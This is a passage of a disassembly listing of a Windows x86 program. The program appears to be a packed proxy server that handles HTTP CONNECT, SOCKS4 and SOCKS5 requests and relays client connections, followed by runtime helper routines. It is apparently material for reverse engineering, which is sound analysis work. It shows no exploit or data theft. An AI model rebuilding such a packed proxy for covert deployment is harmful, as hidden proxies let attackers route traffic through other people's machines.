eax mov [ebp+var_1B8], eax jmp loc_401BBF ; --------------------------------------------------------------------------- loc_401CF3: ; CODE XREF: sub_4017F0+4E6j mov al, byte ptr [ebp+var_EB0] cmp al, 47h jz short loc_401D05 cmp al, 50h jnz loc_402003 loc_401D05: ; CODE XREF: sub_4017F0+50Bj xor eax, eax mov [ebp+var_22D8], eax mov [ebp+var_12D0], eax lea edi, [ebp+var_EB0] loc_401D19: ; CODE XREF: sub_4017F0+53Aj mov [ebp+var_11C8], edi mov al, [edi] test al, al jz short loc_401D2C cmp al, 20h jz short loc_401D2C inc edi jmp short loc_401D19 ; --------------------------------------------------------------------------- loc_401D2C: ; CODE XREF: sub_4017F0+533j ; sub_4017F0+537j cmp byte ptr [edi], 20h jz short loc_401D5F loc_401D31: ; CODE XREF: sub_4017F0+60Fj ; sub_4017F0+8BDj mov eax, [ebp+var_1B8] lea eax, [eax+eax*2] lea edx, [eax+eax*4] lea eax, ds:409D00h[edx*4] push eax call sub_401510 add esp, 4 mov eax, [ebp+var_1B8] inc eax mov [ebp+var_1B8], eax jmp loc_401BBF ; --------------------------------------------------------------------------- loc_401D5F: ; CODE XREF: sub_4017F0+53Fj inc edi mov [ebp+var_11C8], edi cmp byte ptr [edi], 0 jnz short loc_401D99 loc_401D6B: ; CODE XREF: sub_4017F0+917j mov eax, [ebp+var_1B8] lea eax, [eax+eax*2] lea ecx, [eax+eax*4] lea edx, ds:409D00h[ecx*4] push edx call sub_401510 add esp, 4 mov eax, [ebp+var_1B8] inc eax mov [ebp+var_1B8], eax jmp loc_401BBF ; --------------------------------------------------------------------------- loc_401D99: ; CODE XREF: sub_4017F0+579j push 7 push offset aHttp ; "http://" push edi call sub_402C80 add esp, 0Ch test eax, eax jnz short loc_401DB6 add edi, 7 mov [ebp+var_11C8], edi loc_401DB6: ; CODE XREF: sub_4017F0+5BBj mov esi, edi mov [ebp+var_22D4], esi loc_401DBE: ; CODE XREF: sub_4017F0+5E3j mov al, [edi] test al, al jz short loc_401DD5 cmp al, 2Fh jz short loc_401DD5 cmp al, 20h jz short loc_401DD5 inc edi mov [ebp+var_11C8], edi jmp short loc_401DBE ; --------------------------------------------------------------------------- loc_401DD5: ; CODE XREF: sub_4017F0+5D2j ; sub_4017F0+5D6j ... mov al, [edi] cmp al, 20h jz short loc_401DED cmp al, 2Fh jz short loc_401DED mov eax, [ebp+var_1B8] lea eax, [eax+eax*2] jmp loc_402243 ; --------------------------------------------------------------------------- loc_401DED: ; CODE XREF: sub_4017F0+5E9j ; sub_4017F0+5EDj mov ebx, edi mov [ebp+var_12CC], ebx mov edx, edi sub edx, esi cmp edx, 0FFh ja loc_401D31 mov ecx, 40h xor eax, eax lea edi, [ebp+var_12C8] rep stosd mov ecx, edx lea edi, [ebp+var_12C8] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea esi, [ebp+var_12C8] loc_401E2E: ; CODE XREF: sub_4017F0+64Fj mov [ebp+var_11C8], esi mov al, [esi] test al, al jz short loc_401E41 cmp al, 3Ah jz short loc_401E41 inc esi jmp short loc_401E2E ; --------------------------------------------------------------------------- loc_401E41: ; CODE XREF: sub_4017F0+648j ; sub_4017F0+64Cj cmp byte ptr [esi], 3Ah jnz short loc_401E5B lea eax, [esi+1] push eax call sub_402BE9 add esp, 4 mov [ebp+var_22D8], eax mov byte ptr [esi], 0 loc_401E5B: ; CODE XREF: sub_4017F0+654j mov eax, [ebp+var_22D8] test eax, eax jnz short loc_401E6F mov [ebp+var_22D8], 50h loc_401E6F: ; CODE XREF: sub_4017F0+673j mov ecx, 400h xor eax, eax lea edi, [ebp+var_22D0] rep stosd lea esi, [ebp+var_EB0] loc_401E84: ; CODE XREF: sub_4017F0+6BDj mov [ebp+var_11C8], esi mov dl, [esi] test dl, dl jz short loc_401EAF cmp dl, 20h jz short loc_401EAF lea edi, [ebp+var_22D0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+ecx+var_22D0], dl inc esi jmp short loc_401E84 ; --------------------------------------------------------------------------- loc_401EAF: ; CODE XREF: sub_4017F0+69Ej ; sub_4017F0+6A3j lea edi, [ebp+var_22D0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+ecx+var_22D0], 20h lea edx, [ebp+var_22D0] mov edi, ebx or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb dec edi mov ecx, ebx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov [ebp+var_12D0], eax loc_401EF8: ; CODE XREF: sub_4017F0+7CFj mov [ebp+var_1C], eax cmp eax, 47D4h jnb loc_401FC4 lea esi, [eax+eax*2] lea esi, [esi+esi*4] shl esi, 2 mov ecx, dword_409D08[esi] test ecx, ecx jnz loc_401FBE lea edi, dword_409D00[esi] mov eax, [ebp+var_22D8] push eax lea ecx, [ebp+var_12C8] push ecx push edi call sub_401080 add esp, 0Ch test eax, eax jz short loc_401F66 mov ebx, [ebp+var_1B8] lea eax, [ebx+ebx*2] lea edx, [eax+eax*4] lea eax, ds:409D00h[edx*4] push eax call sub_401510 add esp, 4 mov [ebp+var_12D0], 1 jmp short loc_401FCA ; --------------------------------------------------------------------------- loc_401F66: ; CODE XREF: sub_4017F0+74Cj mov dword ptr [edi], 2 lea ecx, [ebp+var_22D0] push ecx call sub_4077C5 mov dword_409D20[esi], eax push 0 call sub_402A3C mov dword_409D14[esi], eax push 0 call sub_402A3C add esp, 0Ch mov dword_409D18[esi], eax mov ebx, [ebp+var_1B8] lea eax, [ebx+ebx*2] lea eax, [eax+eax*4] shl eax, 2 lea edx, dword_409D00[eax] mov dword_409D38[esi], edx mov dword_409D38[eax], edi jmp short loc_401FCA ; --------------------------------------------------------------------------- loc_401FBE: ; CODE XREF: sub_4017F0+727j inc eax jmp loc_401EF8 ; --------------------------------------------------------------------------- loc_401FC4: ; CODE XREF: sub_4017F0+710j mov ebx, [ebp+var_1B8] loc_401FCA: ; CODE XREF: sub_4017F0+774j ; sub_4017F0+7CCj mov eax, [ebp+var_12D0] test eax, eax jnz loc_402240 mov eax, [ebp+var_1B8] lea esi, [eax+eax*2] lea esi, [esi+esi*4] shl esi, 2 lea ebx, dword_409D00[esi] mov dword ptr [ebx], 29Ah mov dword_409D04[esi], 6 mov al, byte ptr [ebp+var_EB0] loc_402003: ; CODE XREF: sub_4017F0+50Fj cmp al, 43h jnz loc_402293 mov [ebp+var_22E8], 0 loc_402015: ; CODE XREF: sub_4017F0+880j lea edi, [ebp+var_EB0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx jz short loc_402072 lea edi, [ebp+var_EB0] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp byte ptr [ebp+ecx+var_EB4+3], 0Ah jz short loc_402059 lea edi, [ebp+var_EB0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp byte ptr [ebp+ecx+var_EB4+3], 0Dh jnz short loc_402072 loc_402059: ; CODE XREF: sub_4017F0+84Dj lea edi, [ebp+var_EB0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov byte ptr [ebp+ecx+var_EB4+3], al jmp short loc_402015 ; --------------------------------------------------------------------------- loc_402072: ; CODE XREF: sub_4017F0+835j ; sub_4017F0+867j xor edx, edx mov [ebp+var_22E4], edx xor esi, esi mov [ebp+var_22E0], esi loc_402082: ; CODE XREF: sub_4017F0+90Aj lea edi, [ebp+var_EB0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_4020AB cmp byte ptr [ebp+edx+var_EB0], 20h jnz short loc_4020F3 mov esi, 1 mov [ebp+var_22E0], esi loc_4020AB: ; CODE XREF: sub_4017F0+8A4j test esi, esi jz loc_401D31 lea ebx, [ebp+edx+var_EB0+1] mov [ebp+var_22DC], ebx xor edx, edx mov [ebp+var_22E4], edx xor esi, esi mov [ebp+var_22E0], esi loc_4020D0: ; CODE XREF: sub_4017F0+913j mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_402105 cmp byte ptr [ebx+edx], 20h jnz short loc_4020FC mov esi, 1 mov [ebp+var_22E0], esi jmp short loc_402105 ; --------------------------------------------------------------------------- loc_4020F3: ; CODE XREF: sub_4017F0+8AEj inc edx mov [ebp+var_22E4], edx jmp short loc_402082 ; --------------------------------------------------------------------------- loc_4020FC: ; CODE XREF: sub_4017F0+8F4j inc edx mov [ebp+var_22E4], edx jmp short loc_4020D0 ; --------------------------------------------------------------------------- loc_402105: ; CODE XREF: sub_4017F0+8EEj ; sub_4017F0+901j test esi, esi jz loc_401D6B mov byte ptr [ebx+edx], 0 xor esi, esi mov [ebp+var_22E4], esi xor edx, edx mov [ebp+var_22E0], edx loc_402121: ; CODE XREF: sub_4017F0+96Bj mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp esi, ecx jnb short loc_402142 cmp byte ptr [ebx+esi], 3Ah jnz short loc_402154 mov edx, 1 mov [ebp+var_22E0], edx loc_402142: ; CODE XREF: sub_4017F0+93Fj test edx, edx jnz short loc_40215D mov eax, [ebp+var_1B8] lea eax, [eax+eax*2] jmp loc_402243 ; --------------------------------------------------------------------------- loc_402154: ; CODE XREF: sub_4017F0+945j inc esi mov [ebp+var_22E4], esi jmp short loc_402121 ; --------------------------------------------------------------------------- loc_40215D: ; CODE XREF: sub_4017F0+954j lea edx, [ebx+esi+1] push edx call sub_402BE9 add esp, 4 mov [ebp+var_22E8], eax mov byte ptr [ebx+esi], 0 xor ecx, ecx mov [ebp+var_22E0], ecx loc_40217C: ; CODE XREF: sub_4017F0+A3Bj mov [ebp+var_1C], ecx cmp ecx, 47D4h jnb loc_402230 lea esi, [ecx+ecx*2] lea esi, [esi+esi*4] shl esi, 2 mov edx, dword_409D08[esi] test edx, edx jnz loc_40222A lea edi, dword_409D00[esi] and eax, 0FFFFh push eax push ebx push edi call sub_401080 add esp, 0Ch test eax, eax jz short loc_4021E4 mov ebx, [ebp+var_1B8] lea eax, [ebx+ebx*2] lea eax, [eax+eax*4] lea ecx, ds:409D00h[eax*4] push ecx call sub_401510 add esp, 4 mov [ebp+var_22E0], 1 jmp short loc_402236 ; --------------------------------------------------------------------------- loc_4021E4: ; CODE XREF: sub_4017F0+9CAj mov dword ptr [edi], 2 push 0 call sub_402A3C mov dword_409D14[esi], eax push 0 call sub_402A3C add esp, 8 mov dword_409D18[esi], eax mov ebx, [ebp+var_1B8] lea eax, [ebx+ebx*2] lea eax, [eax+eax*4] shl eax, 2 lea edx, dword_409D00[eax] mov dword_409D38[esi], edx mov dword_409D38[eax], edi jmp short loc_402236 ; --------------------------------------------------------------------------- loc_40222A: ; CODE XREF: sub_4017F0+9ACj inc ecx jmp loc_40217C ; --------------------------------------------------------------------------- loc_402230: ; CODE XREF: sub_4017F0+995j mov ebx, [ebp+var_1B8] loc_402236: ; CODE XREF: sub_4017F0+9F2j ; sub_4017F0+A38j mov eax, [ebp+var_22E0] test eax, eax jz short loc_402268 loc_402240: ; CODE XREF: sub_4017F0+7E2j lea eax, [ebx+ebx*2] loc_402243: ; CODE XREF: sub_4017F0+5F8j ; sub_4017F0+95Fj lea eax, [eax+eax*4] lea ecx, ds:409D00h[eax*4] push ecx call sub_401510 add esp, 4 mov eax, [ebp+var_1B8] inc eax mov [ebp+var_1B8], eax jmp loc_401BBF ; --------------------------------------------------------------------------- loc_402268: ; CODE XREF: sub_4017F0+A4Ej mov eax, [ebp+var_1B8] lea esi, [eax+eax*2] lea esi, [esi+esi*4] shl esi, 2 lea ebx, dword_409D00[esi] mov dword ptr [ebx], 29Ah mov dword_409D04[esi], 3 mov al, byte ptr [ebp+var_EB0] loc_402293: ; CODE XREF: sub_4017F0+815j cmp al, 5 jnz short loc_4022CC mov byte ptr [ebp+var_EB0], al mov byte ptr [ebp+var_EB0+1], 0 push 2 lea edx, [ebp+var_EB0] push edx push ebx call sub_4012A0 add esp, 0Ch mov dword ptr [ebx], 0Bh mov dword_409D04[esi], 5 mov al, byte ptr [ebp+var_EB0] loc_4022CC: ; CODE XREF: sub_4017F0+AA5j cmp al, 4 jnz loc_402817 mov al, byte ptr [ebp+var_EB0+2] mov byte ptr [ebp+var_11C4+1], al mov cl, byte ptr [ebp+var_EB0+3] mov byte ptr [ebp+var_11C4], cl mov ecx, 40h xor eax, eax lea edi, [ebp+var_11C0] rep stosd mov edx, [ebp+var_EA9] and edx, 0FFh push edx mov eax, [ebp-0EAAh] and eax, 0FFh push eax mov ecx, [ebp-0EABh] and ecx, 0FFh push ecx mov edx, [ebp-0EACh] and edx, 0FFh push edx push offset aD_D_D_D ; "%d.%d.%d.%d" lea eax, [ebp+var_11C0] push eax call sub_402B97 add esp, 18h xor eax, eax loc_402344: ; CODE XREF: sub_4017F0+BD8j mov [ebp+var_1C], eax cmp eax, 47D4h jnb short loc_4023CD lea esi, [eax+eax*2] lea esi, [esi+esi*4] shl esi, 2 mov ecx, dword_409D08[esi] test ecx, ecx jnz short loc_4023C7 lea edi, dword_409D00[esi] mov ecx, [ebp+var_11C4] and ecx, 0FFFFh push ecx lea edx, [ebp+var_11C0] push edx push edi call sub_401080 mov dword ptr [edi], 2 push 0 call sub_402A3C mov dword_409D14[esi], eax push 0 call sub_402A3C add esp, 14h mov dword_409D18[esi], eax mov ecx, [ebp+var_1B8] lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] shl eax, 2 lea edx, dword_409D00[eax] mov dword_409D38[esi], edx mov dword_409D38[eax], edi jmp short loc_4023D3 ; --------------------------------------------------------------------------- loc_4023C7: ; CODE XREF: sub_4017F0+B6Fj inc eax jmp loc_402344 ; --------------------------------------------------------------------------- loc_4023CD: ; CODE XREF: sub_4017F0+B5Cj mov ecx, [ebp+var_1B8] loc_4023D3: ; CODE XREF: sub_4017F0+BD5j lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] shl eax, 2 mov dword_409D00[eax], 29Ah mov dword_409D04[eax], 4 mov eax, [ebp+var_1B8] inc eax mov [ebp+var_1B8], eax jmp loc_401BBF ; --------------------------------------------------------------------------- loc_402402: ; CODE XREF: sub_4017F0+4AEj ; sub_4017F0+4C9j cmp dword ptr [ebx], 0Bh jnz loc_4025C9 lea eax, [ebp+var_10C0] push eax mov ecx, dword_409D08[esi] push ecx call sub_40286C test eax, eax jz loc_4025C9 push 0BB8h lea edx, [ebp+var_EB0] push edx push ebx call sub_4014A0 add esp, 0Ch test eax, eax jz short loc_40245A push ebx call sub_401510 add esp, 4 mov eax, [ebp+var_1B8] inc eax mov [ebp+var_1B8], eax jmp loc_401BBF ; --------------------------------------------------------------------------- loc_40245A: ; CODE XREF: sub_4017F0+C4Dj mov ecx, 40h xor eax, eax lea edi, [ebp+var_11C0] rep stosd mov al, byte ptr [ebp+var_EB0+3] cmp al, 1 jnz short loc_4024D3 mov eax, [ebp+var_EA9] and eax, 0FFh push eax mov ecx, [ebp-0EAAh] and ecx, 0FFh push ecx mov edx, [ebp-0EABh] and edx, 0FFh push edx mov eax, [ebp-0EACh] and eax, 0FFh push eax push offset aD_D_D_D ; "%d.%d.%d.%d" lea ecx, [ebp+var_11C0] push ecx call sub_402B97 add esp, 18h mov dl, byte ptr [ebp+var_EA9+1] mov byte ptr [ebp+var_11C4+1], dl mov al, byte ptr [ebp+var_EA9+2] mov byte ptr [ebp+var_11C4], al jmp short loc_402518 ; --------------------------------------------------------------------------- loc_4024D3: ; CODE XREF: sub_4017F0+C81j cmp al, 3 jnz short loc_402518 mov eax, [ebp-0EACh] and eax, 0FFh mov ecx, eax lea esi, [ebp+var_EAB] lea edi, [ebp+var_11C0] mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov cl, [ebp+eax+var_EAB] mov byte ptr [ebp+var_11C4+1], cl mov dl, [ebp+eax+var_EAA] mov byte ptr [ebp+var_11C4], dl loc_402518: ; CODE XREF: sub_4017F0+CE1j ; sub_4017F0+CE5j mov eax, [ebp+var_11C4] xor ecx, ecx loc_402520: ; CODE XREF: sub_4017F0+DAEj mov [ebp+var_1C], ecx cmp ecx, 47D4h jnb short loc_4025A0 lea esi, [ecx+ecx*2] lea esi, [esi+esi*4] shl esi, 2 mov edx, dword_409D08[esi] test edx, edx jnz short loc_40259D lea edi, dword_409D00[esi] and eax, 0FFFFh push eax lea eax, [ebp+var_11C0] push eax push edi call sub_401080 mov dword ptr [edi], 2 push 0 call sub_402A3C mov dword_409D14[esi], eax push 0 call sub_402A3C add esp, 14h mov dword_409D18[esi], eax mov ecx, [ebp+var_1B8] lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] shl eax, 2 lea edx, dword_409D00[eax] mov dword_409D38[esi], edx mov dword_409D38[eax], edi jmp short loc_4025A6 ; --------------------------------------------------------------------------- loc_40259D: ; CODE XREF: sub_4017F0+D4Cj inc ecx jmp short loc_402520 ; --------------------------------------------------------------------------- loc_4025A0: ; CODE XREF: sub_4017F0+D39j mov ecx, [ebp+var_1B8] loc_4025A6: ; CODE XREF: sub_4017F0+DABj lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] mov dword_409D00[eax*4], 29Ah mov eax, [ebp+var_1B8] inc eax mov [ebp+var_1B8], eax jmp loc_401BBF ; --------------------------------------------------------------------------- loc_4025C9: ; CODE XREF: sub_4017F0+C15j ; sub_4017F0+C30j cmp dword ptr [ebx], 2 jnz loc_40277C push 0 call sub_402A3C add esp, 4 sub eax, dword_409D14[esi] cmp eax, 1 jb loc_40277C push ebx call sub_401000 mov edi, eax mov [ebp+var_1C], edi push 0 call sub_402A3C add esp, 8 mov dword_409D14[esi], eax cmp edi, 2 jz loc_4026EC push 0 call sub_402A3C add esp, 4 sub eax, dword_409D18[esi] cmp eax, 3Ch jnb loc_4026EC test edi, edi jnz loc_402817 xor ecx, ecx mov [ebp+var_EB0], ecx mov [ebp-0EACh], ecx mov byte ptr [ebp+var_EA9+1], cl mov eax, dword_409D38[esi] mov ecx, [eax+4] cmp ecx, 4 jnz short loc_402665 mov byte ptr [ebp+var_EB0+1], 5Ah push 8 lea edx, [ebp+var_EB0] push edx push eax jmp short loc_4026C0 ; --------------------------------------------------------------------------- loc_402665: ; CODE XREF: sub_4017F0+E60j cmp ecx, 3 jnz short loc_40267A push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"... push eax call sub_4013E0 add esp, 8 jmp short loc_4026C8 ; --------------------------------------------------------------------------- loc_40267A: ; CODE XREF: sub_4017F0+E78j cmp ecx, 5 jnz short loc_4026A6 mov byte ptr [ebp+var_EB0], cl mov byte ptr [ebp+var_EB0+1], 0 mov byte ptr [ebp+var_EB0+2], 0 mov byte ptr [ebp+var_EB0+3], 1 push 9 lea ecx, [ebp+var_EB0] push ecx push eax jmp short loc_4026C0 ; --------------------------------------------------------------------------- loc_4026A6: ; CODE XREF: sub_4017F0+E8Dj cmp ecx, 6 jnz short loc_4026C8 mov edx, dword_409D20[esi] mov edi, edx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push edx push ebx loc_4026C0: ; CODE XREF: sub_4017F0+E73j ; sub_4017F0+EB4j call sub_4012A0 add esp, 0Ch loc_4026C8: ; CODE XREF: sub_4017F0+E88j ; sub_4017F0+EB9j mov dword ptr [ebx], 3 mov edx, dword_409D38[esi] mov dword ptr [edx], 3 mov eax, [ebp+var_1B8] inc eax mov [ebp+var_1B8], eax jmp loc_401BBF ; --------------------------------------------------------------------------- loc_4026EC: ; CODE XREF: sub_4017F0+E19j ; sub_4017F0+E32j xor eax, eax mov [ebp+var_EB0], eax mov [ebp-0EACh], eax mov byte ptr [ebp+var_EA9+1], al mov eax, dword_409D38[esi] mov ecx, [eax+4] cmp ecx, 4 jnz short loc_402720 mov byte ptr [ebp+var_EB0+1], 5Bh push 8 lea ecx, [ebp+var_EB0] push ecx jmp short loc_402767 ; --------------------------------------------------------------------------- loc_402720: ; CODE XREF: sub_4017F0+F1Cj cmp ecx, 3 jnz short loc_40273F push offset aHttp1_0201Unab ; "HTTP/1.0 201 Unable to connect\r\n\r\n" push eax call sub_4013E0 add esp, 8 mov eax, dword_409D38[esi] push eax jmp loc_402809 ; --------------------------------------------------------------------------- loc_40273F: ; CODE XREF: sub_4017F0+F33j cmp ecx, 5 jnz short loc_402770 mov byte ptr [ebp+var_EB0], cl mov byte ptr [ebp+var_EB0+1], cl mov byte ptr [ebp+var_EB0+2], 0 mov byte ptr [ebp+var_EB0+3], 1 push 9 lea edx, [ebp+var_EB0] push edx loc_402767: ; CODE XREF: sub_4017F0+F2Ej push eax call sub_4012A0 add esp, 0Ch loc_402770: ; CODE XREF: sub_4017F0+F52j mov eax, dword_409D38[esi] push eax jmp loc_402809 ; --------------------------------------------------------------------------- loc_40277C: ; CODE XREF: sub_4017F0+DDCj ; sub_4017F0+DF5j mov eax, dword_409D38[esi] test eax, eax jz loc_402817 mov ecx, [eax+1Ch] test ecx, ecx jnz loc_402817 mov eax, [ebx] cmp eax, 3 jz short loc_4027A3 cmp eax, 29Ah jnz short loc_402817 loc_4027A3: ; CODE XREF: sub_4017F0+FAAj lea ecx, [ebp+var_10C0] push ecx mov edx, dword_409D08[esi] push edx call sub_40286C test eax, eax jz short loc_402817 push 0BB8h lea eax, [ebp+var_EB0] push eax push ebx call sub_4014A0 add esp, 0Ch test eax, eax jnz short loc_402802 mov ecx, dword_409D10[esi] push ecx lea edx, [ebp+var_EB0] push edx mov eax, dword_409D38[esi] push eax call sub_4012A0 add esp, 0Ch mov eax, [ebp+var_1B8] inc eax mov [ebp+var_1B8], eax jmp loc_401BBF ; --------------------------------------------------------------------------- loc_402802: ; CODE XREF: sub_4017F0+FE1j mov ecx, dword_409D38[esi] push ecx loc_402809: ; CODE XREF: sub_4017F0+F4Aj ; sub_4017F0+F87j call sub_401510 push ebx call sub_401510 add esp, 8 loc_402817: ; CODE XREF: sub_4017F0+3EBj ; sub_4017F0+ADEj ... mov eax, [ebp+var_1B8] inc eax mov [ebp+var_1B8], eax jmp loc_401BBF sub_4017F0 endp ; --------------------------------------------------------------------------- mov edx, [ebp-14h] push edx call sub_401790 ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov dword ptr [ebp-4], 0FFFFFFFFh mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 10h ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402860 proc near ; CODE XREF: sub_401080+70p ; sub_401580+5Bp jmp dword_40811C sub_402860 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402866 proc near ; CODE XREF: sub_401080+50p ; sub_401080+5Ap ... jmp dword_408118 sub_402866 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40286C proc near ; CODE XREF: sub_4017F0+36Bp ; sub_4017F0+486p ... jmp dword_408114 sub_40286C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402872 proc near ; CODE XREF: sub_4012A0+DEp ; sub_4017F0+349p jmp dword_408110 sub_402872 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402878 proc near ; CODE XREF: sub_4011E0+63p jmp dword_40810C sub_402878 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40287E proc near ; CODE XREF: sub_401080+A8p ; sub_4011E0+53p ... jmp dword_408108 sub_40287E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402884 proc near ; CODE XREF: sub_401000+34p ; sub_401000+40p ... jmp dword_408104 sub_402884 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40288A proc near ; CODE XREF: sub_401000+2Bp jmp dword_408100 sub_40288A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402890 proc near ; CODE XREF: sub_401080+BFp ; sub_4011E0+A3p jmp dword_4080FC sub_402890 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402896 proc near ; CODE XREF: sub_401080+32p ; sub_4011E0+27p ... jmp dword_4080F8 sub_402896 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40289C proc near ; CODE XREF: sub_401160+3Bp jmp dword_4080F4 sub_40289C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4028A2 proc near ; CODE XREF: sub_4011E0+81p jmp dword_4080F0 sub_4028A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4028A8 proc near ; CODE XREF: sub_4012A0+F9p jmp dword_4080EC sub_4028A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4028AE proc near ; CODE XREF: sub_4014A0+29p jmp dword_4080E8 sub_4028AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4028B4 proc near ; CODE XREF: sub_401510+1Bp ; sub_4016A0+1Bp jmp dword_4080E4 sub_4028B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4028BA proc near ; CODE XREF: sub_401630+37p jmp dword_4080E0 sub_4028BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4028C0 proc near ; CODE XREF: sub_4017F0+1E1p jmp dword_4080DC sub_4028C0 endp ; =============== S U B R O U T I N E ======================================= sub_4028C6 proc near ; CODE XREF: sub_4012A0+3Ap ; sub_4013E0+27p ... arg_0 = dword ptr 4 push dword_409AE4 push [esp+4+arg_0] call sub_4028D8 pop ecx pop ecx retn sub_4028C6 endp ; =============== S U B R O U T I N E ======================================= sub_4028D8 proc near ; CODE XREF: sub_4028C6+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_402901 loc_4028DF: ; CODE XREF: sub_4028D8+27j push [esp+arg_0] call sub_402904 test eax, eax pop ecx jnz short locret_402903 cmp [esp+arg_4], eax jz short locret_402903 push [esp+arg_0] call sub_40301F test eax, eax pop ecx jnz short loc_4028DF loc_402901: ; CODE XREF: sub_4028D8+5j xor eax, eax locret_402903: ; CODE XREF: sub_4028D8+13j ; sub_4028D8+19j retn sub_4028D8 endp ; =============== S U B R O U T I N E ======================================= sub_402904 proc near ; CODE XREF: sub_4028D8+Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, dword_4090EC ja short loc_40291C push esi call sub_40340A test eax, eax pop ecx jnz short loc_402938 loc_40291C: ; CODE XREF: sub_402904+Bj test esi, esi jnz short loc_402923 push 1 pop esi loc_402923: ; CODE XREF: sub_402904+1Aj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_51867C call dword_40806C loc_402938: ; CODE XREF: sub_402904+16j pop esi retn sub_402904 endp ; =============== S U B R O U T I N E ======================================= sub_40293A proc near ; CODE XREF: sub_402EE0+93p mov eax, dword_518694 test eax, eax jz short loc_402945 call eax loc_402945: ; CODE XREF: sub_40293A+7j push offset dword_409014 push offset dword_409008 call sub_402A22 push offset dword_409004 push offset dword_409000 call sub_402A22 add esp, 10h retn sub_40293A endp ; =============== S U B R O U T I N E ======================================= sub_402967 proc near ; CODE XREF: sub_401790+55p ; .packed:00402FB2p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_402989 add esp, 0Ch retn sub_402967 endp ; =============== S U B R O U T I N E ======================================= sub_402978 proc near ; CODE XREF: .packed:00402FD1p ; sub_402FD6+1Cp ; DATA XREF: ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_402989 add esp, 0Ch retn sub_402978 endp ; =============== S U B R O U T I N E ======================================= sub_402989 proc near ; CODE XREF: sub_402967+8p ; sub_402978+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_409AB8, edi jnz short loc_4029A6 push [esp+4+arg_0] call dword_408078 push eax call dword_408074 loc_4029A6: ; CODE XREF: sub_402989+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_409AB4, edi mov byte_409AB0, bl jnz short loc_4029FA mov eax, dword_518690 test eax, eax jz short loc_4029E9 mov ecx, dword_51868C push esi lea esi, [ecx-4] cmp esi, eax jb short loc_4029E8 loc_4029D5: ; CODE XREF: sub_402989+5Dj mov eax, [esi] test eax, eax jz short loc_4029DD call eax loc_4029DD: ; CODE XREF: sub_402989+50j sub esi, 4 cmp esi, dword_518690 jnb short loc_4029D5 loc_4029E8: ; CODE XREF: sub_402989+4Aj pop esi loc_4029E9: ; CODE XREF: sub_402989+3Cj push offset dword_409020 push offset dword_409018 call sub_402A22 pop ecx pop ecx loc_4029FA: ; CODE XREF: sub_402989+33j push offset dword_409028 push offset dword_409024 call sub_402A22 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_402A20 push [esp+4+arg_0] mov dword_409AB8, edi call dword_408070 loc_402A20: ; CODE XREF: sub_402989+85j pop edi retn sub_402989 endp ; =============== S U B R O U T I N E ======================================= sub_402A22 proc near ; CODE XREF: sub_40293A+15p ; sub_40293A+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_402A27: ; CODE XREF: sub_402A22+16j cmp esi, [esp+4+arg_4] jnb short loc_402A3A mov eax, [esi] test eax, eax jz short loc_402A35 call eax loc_402A35: ; CODE XREF: sub_402A22+Fj add esi, 4 jmp short loc_402A27 ; --------------------------------------------------------------------------- loc_402A3A: ; CODE XREF: sub_402A22+9j pop esi retn 